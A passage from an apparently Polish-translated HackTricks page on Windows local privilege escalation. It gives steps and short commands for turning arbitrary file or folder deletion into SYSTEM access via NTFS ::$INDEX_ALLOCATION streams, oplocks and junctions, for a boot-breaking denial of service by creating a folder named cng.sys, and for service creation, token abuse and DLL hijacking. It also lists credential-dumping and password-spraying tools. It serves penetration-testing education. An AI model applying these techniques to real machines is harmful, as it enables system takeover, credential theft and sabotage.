    • Boom: Twój kod zostaje uruchomiony jako SYSTEM.

Z dowolnego usunięcia/przeniesienia/zmiany nazwy pliku do SYSTEM EoP

Główna technika rollback MSI (powyższa) zakłada, że możesz usunąć cały folder (np. C:\Config.Msi). A co jeśli twoja podatność pozwala tylko na arbitralne usunięcie pliku?

Możesz wykorzystać wewnętrzne mechanizmy NTFS: każdy folder ma ukryty alternatywny strumień danych zwany:

C:\SomeFolder::$INDEX_ALLOCATION

Ten strumień przechowuje metadane indeksu folderu.

Zatem, jeśli usuniesz strumień ::$INDEX_ALLOCATION folderu, NTFS usuwa cały folder z systemu plików.

Możesz to zrobić za pomocą standardowych API do usuwania plików, takich jak:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Chociaż wywołujesz file delete API, ono usuwa sam folder.

Od usuwania zawartości folderu do SYSTEM EoP

Co jeśli twój primitive nie pozwala na usuwanie dowolnych plików/folderów, ale pozwala na usunięcie zawartości folderu kontrolowanego przez atakującego?

  1. Krok 1: Przygotuj pułapkowy folder i plik
  • Utwórz: C:\temp\folder1
  • W nim: C:\temp\folder1\file1.txt
  1. Krok 2: Umieść oplock na file1.txt
  • Oplock wstrzymuje wykonanie, gdy uprzywilejowany proces próbuje usunąć file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Krok 3: Wywołaj proces SYSTEM (np. SilentCleanup)
  • Ten proces skanuje foldery (np. %TEMP%) i próbuje usunąć ich zawartość.
  • Gdy dotrze do file1.txt, oplock triggers i przekazuje kontrolę do twojego callbacka.
  1. Krok 4: Wewnątrz oplock callback przekieruj usuwanie
  • Opcja A: Przenieś file1.txt gdzie indziej

  • To opróżnia folder1 bez zerwania oplock.

  • Nie usuwaj file1.txt bezpośrednio — to spowodowałoby zwolnienie oplock zbyt wcześnie.

  • Opcja B: Zamień folder1 w junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opcja C: Utwórz symlink w \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Celuje w wewnętrzny strumień NTFS, który przechowuje metadane folderu — jego usunięcie usuwa folder.

  1. Krok 5: Zwolnienie oplock
  • Proces SYSTEM kontynuuje i próbuje usunąć file1.txt.
  • Ale teraz, z powodu junction + symlink, w rzeczywistości usuwa:
C:\Config.Msi::$INDEX_ALLOCATION

Wynik: C:\Config.Msi jest usuwany przez SYSTEM.

From Arbitrary Folder Create to Permanent DoS

Wykorzystaj mechanizm, który pozwala create an arbitrary folder as SYSTEM/admin — nawet jeśli nie możesz zapisywać plików lub ustawić słabych uprawnień.

Utwórz folder (nie plik) o nazwie critical Windows driver, np.:

C:\Windows\System32\cng.sys
  • Ta ścieżka zwykle odpowiada sterownikowi trybu jądra cng.sys.
  • Jeśli wstępnie utworzysz ją jako folder, Windows nie załaduje rzeczywistego sterownika podczas rozruchu.
  • Następnie Windows próbuje załadować cng.sys podczas rozruchu.
  • Widzi folder, nie udaje mu się rozwiązać rzeczywistego sterownika, i zawiesza się lub zatrzymuje rozruch.
  • Nie ma żadnego mechanizmu awaryjnego, i brakuje możliwości odzyskania bez zewnętrznej interwencji (np. naprawy rozruchu lub dostępu do dysku).

Z High Integrity do SYSTEM

Nowa usługa

Jeżeli już działasz w procesie High Integrity, ścieżka do SYSTEM może być prosta — wystarczy utworzyć i uruchomić nową usługę:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Podczas tworzenia binarki usługi upewnij się, że jest to prawidłowa usługa lub że binarka wykonuje niezbędne czynności do uruchomienia, ponieważ jeśli nie będzie prawidłową usługą, zostanie zabita po 20s.

AlwaysInstallElevated

Z procesu High Integrity możesz spróbować enable the AlwaysInstallElevated registry entries oraz install reverse shell używając .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

You can find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz je w procesie już o High Integrity), będziesz w stanie otworzyć prawie dowolny proces (nie protected processes) z uprawnieniem SeDebug, skopiować token procesu i utworzyć dowolny proces z tym tokenem.
Użycie tej techniki zwykle polega na wybraniu procesu uruchomionego jako SYSTEM ze wszystkimi uprawnieniami tokena (tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena).
You can find an example of code executing the proposed technique here.

Named Pipes

Ta technika jest używana przez meterpreter do eskalacji w getsystem. Technika polega na utworzeniu pipe i następnie stworzeniu/nadużyciu usługi do zapisu w tym pipe. Następnie server, który utworzył pipe używając uprawnienia SeImpersonate, będzie w stanie podszyć się pod token klienta pipe (usługi), uzyskując uprawnienia SYSTEM.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Jeśli uda ci się hijack a dll będącą loaded przez process działający jako SYSTEM, będziesz w stanie wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również użyteczny przy tego typu eskalacji uprawnień, a ponadto znacznie łatwiejszy do osiągnięcia z procesu o wysokiej integralności, ponieważ będzie miał write permissions w folderach używanych do ładowania dlls.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

Więcej pomocy

Static impacket binaries

Przydatne narzędzia

Najlepsze narzędzie do wyszukiwania wektorów eskalacji uprawnień lokalnych w Windows: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Sprawdza błędne konfiguracje i wrażliwe pliki (check here). Detected.
JAWS -- Sprawdza możliwe błędne konfiguracje i zbiera informacje (check here).
privesc -- Sprawdza błędne konfiguracje
SessionGopher -- Ekstrahuje zapisane sesje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough lokalnie.
Invoke-WCMDump -- Ekstrahuje poświadczenia z Credential Manager. Detected.
DomainPasswordSpray -- Rozprowadza zebrane hasła po domenie
Inveigh -- Inveigh to PowerShellowy spoofer ADIDNS/LLMNR/mDNS/NBNS i narzędzie man-in-the-middle.
WindowsEnum -- Podstawowa enumeracja Windows pod kątem privesc
Sherlock ~~~~ -- Wyszukuje znane luki privesc (DEPRECATED for Watson)
WINspect -- Kontrole lokalne (Need Admin rights)

Exe

Watson -- Wyszukuje znane luki privesc (wymaga kompilacji w VisualStudio) (precompiled)
SeatBelt -- Enumeruje hosta szukając błędnych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga kompilacji) (precompiled)
LaZagne -- Ekstrahuje poświadczenia z wielu aplikacji (precompiled exe w github)
SharpUP -- Port PowerUp do C#
Beroot ~~~~ -- Sprawdza błędne konfiguracje (wykonywalny precompiled w github). Niezalecane. Nie działa dobrze na Win10.
Windows-Privesc-Check -- Sprawdza możliwe błędne konfiguracje (exe z pythona). Niezalecane. Nie działa dobrze na Win10.

Bat

winPEASbat -- Narzędzie stworzone na podstawie tego posta (nie wymaga accesschk, aby działać poprawnie, ale może go używać).

Local

Windows-Exploit-Suggester -- Odczytuje output systeminfo i rekomenduje działające exploity (lokalny python)
Windows Exploit Suggester Next Generation -- Odczytuje output systeminfo i rekomenduje działające exploity (lokalny python)

Meterpreter

multi/recon/local_exploit_suggestor

Musisz skompilować projekt używając odpowiedniej wersji .NET (see this). Aby zobaczyć zainstalowaną wersję .NET na hoście ofiary możesz zrobić:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Źródła

{{#include ../../banners/hacktricks-training.md}}